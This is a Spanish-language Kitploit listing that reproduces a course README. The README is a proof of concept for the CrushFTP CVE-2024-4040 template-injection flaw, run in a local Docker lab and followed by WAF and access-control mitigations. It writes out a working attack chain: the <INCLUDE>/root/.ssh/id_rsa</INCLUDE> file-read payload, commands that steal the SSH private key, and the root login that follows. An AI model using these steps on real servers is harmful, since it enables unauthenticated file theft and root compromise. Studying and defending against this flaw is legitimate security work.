Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CrushFTP-CVE-2024-4040-Proof-of-Concept — Exploit de prueba de concepto para CVE-2024-4040, que demuestra SSTI no autenticado y lectura de archivos local en CrushFTP, con laboratorio Docker y estrategias de mitigación. | Kitploit
Herramientas/GitHubGitHub/sidjaz/crushftp-cve-2024-4040-proof-of-concept
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubsidjaz/crushftp-cve-2024-4040-proof-of-concept

CrushFTP-CVE-2024-4040-Proof-of-Concept

Exploit de prueba de concepto para CVE-2024-4040, que demuestra SSTI no autenticado y lectura de archivos local en CrushFTP, con laboratorio Docker y estrategias de mitigación.

Ver Repositorio
5hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Vulnerabilidad CVE-2024-4040 — Prueba de Concepto SSTI / LFI de CrushFTP

Solo para uso educativo y en laboratorio autorizado.
Para el módulo CS443 Software and Systems Security. El laboratorio se realizó en un entorno Docker local controlado.


Resumen de la Vulnerabilidad

CampoDetalle
CVECVE-2024-4040
Software afectadoCrushFTP < 10.7.1 (rama v10) / < 11.1.0 (rama v11)
Tipo de vulnerabilidadInyección de plantillas del lado del servidor (SSTI) → Lectura local de archivos no autenticada
Puntuación CVSS9.8 Crítico
ImpactoLos atacantes no autenticados pueden leer archivos arbitrarios del sistema de archivos del servidor

La WebInterface de CrushFTP evalúa expresiones de plantilla en el parámetro path del comando zip sin saneamiento. Un atacante no autenticado puede obtener cookies de sesión anónimas y luego usarlas para enviar payloads de plantilla ({working_dir}, <INCLUDE>…</INCLUDE>) que el servidor evalúa y devuelve, lo que permite la lectura arbitraria de archivos en todo el host.


Entorno de Laboratorio

ComponenteValor
Objetivohttp://localhost:8080
Versión base del PoC de CrushFTP10.3.0 (intencionalmente vulnerable)
Entorno de prueba de la Mitigación 3Contenedor separado que ejecuta CrushFTP 11.x (rama parcheada)
Puerto SSH (contenedor)2222 → 22
Credenciales de administradoradmin / admin
Runtime de contenedorDocker (Compose)

Requisitos previos

pip install requests rich

Scripts

ScriptFuentePropósito
crushed.pyStuub/CVE-2024-4040-SSTI-LFI-PoCExploit SSTI/LFI completo: robo de sesión, lectura arbitraria de archivos
recon.pyEste repositorioDetección de versión, prueba SSTI en vivo, confirmación de vulnerabilidad

Recorrido de la Prueba de Concepto

Paso 1 — Iniciar el laboratorio

docker-compose up -d

Espere ~10 segundos para que CrushFTP se inicialice por completo antes de ejecutar los scripts. Aquí no se requiere un paso de reconocimiento separado porque crushed.py ya comprueba si la explotación es posible durante su ejecución.


Paso 2 — Robar la clave privada SSH mediante LFI

python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

El script:

  1. Obtiene una sesión anónima CrushAuth / currentAuth desde /WebInterface/
  2. Usa SSTI para confirmar la evaluación de plantillas y filtrar el nombre de host del servidor
  3. Usa {working_dir} para resolver el directorio de instalación de CrushFTP
  4. Usa <INCLUDE>/root/.ssh/id_rsa</INCLUDE> para leer el archivo objetivo
  5. Imprime el contenido crudo del archivo en stdout

Copie el bloque de clave privada de la salida (todo desde -----BEGIN OPENSSH PRIVATE KEY----- hasta -----END OPENSSH PRIVATE KEY-----).


Paso 3 — Guardar la clave robada

cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

Paso 4 — Conectarse por SSH al contenedor como root

ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

Paso 5 — Confirmar el acceso root

whoami
# Expected: root

id
# Expected: uid=0(root) gid=0(root) groups=0(root)

hostname
# Expected: <container_id>

Diagrama de la cadena de ataque

Unauthenticated attacker
        │
        ▼
GET /WebInterface/          ← obtains anonymous CrushAuth + currentAuth cookies
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI confirmed — template evaluated by server
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← leaks absolute installation path
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← arbitrary file read
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← full root shell

Problemas conocidos clave en crushed.py

ProblemaUbicaciónDetalles
Dependencia faltanteLíneas 6–9Requiere pip install rich antes de ejecutarse
Análisis XML frágilLíneas 86, 140Se bloquea con respuestas del servidor no XML; sin manejo de ParseError
Expresión regular de token demasiado estrictaLíneas 160–161El patrón CrushAuth=…; currentAuth=… puede no coincidir con todos los formatos de sessions.obj
Solo HTTP 404Línea 53La captura de cookies solo tiene éxito en 404; falla silenciosamente en otros códigos de estado

Estrategias de Mitigación

Mitigación 1 — Firewall de Aplicaciones Web (NGINX + ModSecurity)

Resumen

Un WAF actúa como proxy inverso que inspecciona el tráfico HTTP/S entrante antes de que llegue a CrushFTP. Usando NGINX con ModSecurity, las solicitudes maliciosas que explotan CVE-2024-4040 se bloquean en el borde de la red sin modificar CrushFTP en sí.

Cómo mitiga CVE-2024-4040

  • Bloquea patrones de path traversal (por ejemplo, ../, %2e%2e) en las URI de solicitud y cookies
  • Evita que las solicitudes no autenticadas de escape VFS lleguen a CrushFTP
  • Registra y deniega payloads sospechosos antes de que lleguen a la aplicación

Configuración de Docker

Use Mitigation 1/docker-compose.yaml:

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Configuración de NGINX

Use Mitigation 1/nginx.conf:

worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Enable ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy all traffic to CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Return 403 for blocked requests
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

Flujo de tráfico

Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
                             -> forwards clean -> CrushFTP:8080

Limitaciones

  • No parchea la causa raíz: CrushFTP sigue siendo vulnerable si se omite el WAF
  • Requiere actualizaciones de reglas a medida que los atacantes desarrollan técnicas de ofuscación

Mitigación 2 — Deshabilitar el acceso de usuarios anónimos

Resumen

CVE-2024-4040 es explotable sin autenticación. En este laboratorio, el acceso de tipo anónimo se bloquea en la capa de NGINX al requerir una cabecera Authorization antes de enviar rutas sensibles a CrushFTP mediante proxy.

Cómo mitiga CVE-2024-4040

  • Los scripts de explotación como crushed.py dependen del acceso no autenticado; las solicitudes sin credenciales se rechazan con 401
  • Las solicitudes a /WebInterface/ y / se deniegan a menos que estén presentes datos de autenticación
  • Reduce la exposición de endpoints vulnerables a usuarios no autenticados

Configuración de Docker (exacta de Mitigation 2/docker-compose.yaml)

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"
Descargar herramienta